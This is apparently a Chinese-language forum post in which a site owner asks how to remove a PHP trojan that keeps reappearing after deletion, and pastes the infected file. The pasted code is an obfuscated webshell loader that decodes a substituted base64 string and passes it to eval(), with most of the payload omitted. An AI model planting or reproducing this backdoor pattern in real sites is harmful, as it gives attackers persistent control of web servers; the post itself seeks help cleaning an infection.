PHP木马怎么破

网站感染了一个木马文件不知道后门在哪
删除了还自动产生
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<?php
function pnl($yocgpeq, $psbrigv){$ehvezeiul = ''; for($i=0; $i < strlen($yocgpeq); $i++){$ehvezeiul .= isset($psbrigv[$yocgpeq[$i]]) ? $psbrigv[$yocgpeq[$i]] : $yocgpeq[$i];}
$djj="base64_decode";return $djj($ehvezeiul);}
$xmj = '6De7MHPf0865FoHNBEPN8oIT0NBvzlnHAlcQCcQXMYnQ8VUead9ZkDPZ8oHNBEPNBNBvz3XQCcQXMYn'.
'Q8VUead9ZkY1g8oHg0YUxaDeTkePLMYxeFNc9jdsqdswf08OKaDeh0'.
'HPvMYxQad9cGAvGdEeEGDefBoHLGdOKuLHbHsHbGbsG2c5FF1PAO'.
'HFYOHFkFxwzu1PAOuIDFxL9SbXtmNzqzX5FF1PAOHFYOHFkFxF1AuPuOHPwOlObFxL9SbXtjAzVm4X7jdgIz4vGdYeEGd1e'.
省略1700行代码
'YnsGdOsr8ORYNafFxLQ8AvGd6ssaDRekYu9SbwRkiOeBePhrYUNkVj5F'.
'iO50YxeGAvGd6ssaDRekYu9Sbw7aYxKkY14BEPfGdOLMDHh0bsqd9sFFiO50'.
'Yxez3L92DnxkHPhrYUNkVj5FiO50YxeGAvGd6sskYHfBo1Z0bXPzdOsr8ORYNavFxLqd'.
'9sFFDxeBVUR0ou9SbwRkiOeBePhrYUNkVj5FDxeBVUR0ouQCc5FdbOh08UfrYaez3L9kZHh8oxRr'.
'VFTBN9skYHfBo1Z0bsqd9sFFDxeBVUR0ou9SbwgkZHh8oxRrVF'.
'TBN9skYHfBo1Z0bsqd9sFFDxeBVUR0ou9SbwEaDHQk1PhrYUNkVj5FDxeBVUR0ouvzdOxMY6QCc5'.
'FdbOEBEPhz3L9FDORaD1kForZ8HhRBZFR2HPNrYnsGdOsr8ORYNaEFxLQ8AvGd6ss0ZFTkbXPz'.
'D1vaDHN8oxRrVFTBN9s0ZFTkbsqd9sFFD0NkoL9Sbw7aYxKkY14BEPfGdOEBEPhGAvGd6ss0ZFTkbXPz'.
'iR7aYxKkY14BEPfGdOEBEPhGAvGd6sGd6eQ0tX5BVONBVONGdOEBEPhmdXtYLUH'.
'uxOSAHLtGbXPSbwD6uIAObsGd6eqd9sFdbOEBEPhz3L90ZFTkHP5kVULGdOEBEPhGAvGd6ePd9sF0YIf065Fd8vGd6sF'.
'FD0NkoL9SbwfaiFKBEHckD140b9tYLUHuxOSAHLtmdXtztc9FD0NkoLQCc5Fd8LGd6sGd6s'.
's0ZFTkHPekY1QkdXPzDHgBDIT0Du5z4ctmdXs0ZFTkbsqd9sFFD0NkoxK0YxRMYc9Sbwe2iwvkoOeGdz+ztc9FD0NkoxK0YxRMYI'.
'kjHLQCc5FdbOEBEPh8onRkYu9Sbwe2iwvkoOeGdFBztzvzdOEBEPhGAvGd6sskD1fa1PeBZFTBtXPziUek'.
'EOAk8OcAY1Qkd9s0ZFTkHPekY1Qk1vc8bc9FD0NkoxKkE1h0HvI8bc9FDHhrYevmdXsaDRekYuvzdOh08UfrYaemdXs0D1LrH'.
'vZki6Z8bc9FDUTkE0Q0xPEMYIeGAvGd6sGd6eQ0tX5FDIRBVOK08FNkVFkjHL9SALPz3XQd9sF2c5Fd6ss0oPT0dvW'.
'Cc5Fd8LGd6eekiUed9sF2c5Fd6ssrE1sGNvqd9sFdbOZkoPsz3L9roPxkZ65FDORaD1kFouZ8bs9mbXsrE1sCc5Fd8LGd8LGd6'.
'5FFiFeBxvtBtFaYNFLzeL9SbXskD1fa1PeBZFTBevc8AvGdbON0'.
'8UkzZzt8Hvt0bFaz3L9FDIRBVOK08FNkVFkjHL9SALPzl0wA1U1z3J9jdXyzdOvr8UL8oHN'.
'BEPNYf1aCc5FFiFeBxvtBtFaYNFZzeL9SbXs0oPT03vGdbON08UkzZzt8HvtrtFaz3L9FDFR03vGd8FeaiHNktwtr8UeU'.
'4OK0Yn4koOeGiUeBEeRkDey0b9sBEHfGbsqdZL=';
$fmkewmpksw = Array('1'=>'F', '0'=>'Z', '3'=>'D', '2'=>'e', '5'=>'o', '4'=>'j', '7'=>'u', '6'=>'Q', '9'=>'g', '8'=>'X', 'A'=>'T', 'C'=>'O', 'B'=>'c', 'E'=>'m', 'D'=>'G', 'G'=>'K', 'F'=>'J', 'I'=>'x', 'H'=>'V', 'K'=>'f', 'J'=>'8', 'M'=>'a', 'L'=>'0', 'O'=>'R', 'N'=>'y', 'Q'=>'p', 'P'=>'9', 'S'=>'P', 'R'=>'h', 'U'=>'N', 'T'=>'v', 'W'=>'r', 'V'=>'3', 'Y'=>'W', 'X'=>'A', 'Z'=>'n', 'a'=>'d', 'c'=>'w', 'b'=>'S', 'e'=>'l', 'd'=>'C', 'g'=>'4', 'f'=>'z', 'i'=>'H', 'h'=>'t', 'k'=>'b', 'j'=>'M', 'm'=>'L', 'l'=>'E', 'o'=>'2', 'n'=>'5', 'q'=>'7', 'p'=>'q', 's'=>'k', 'r'=>'Y', 'u'=>'U', 't'=>'i', 'w'=>'B', 'v'=>'s', 'y'=>'6', 'x'=>'1', 'z'=>'I');
eval(pnl($xmj, $fmkewmpksw));?>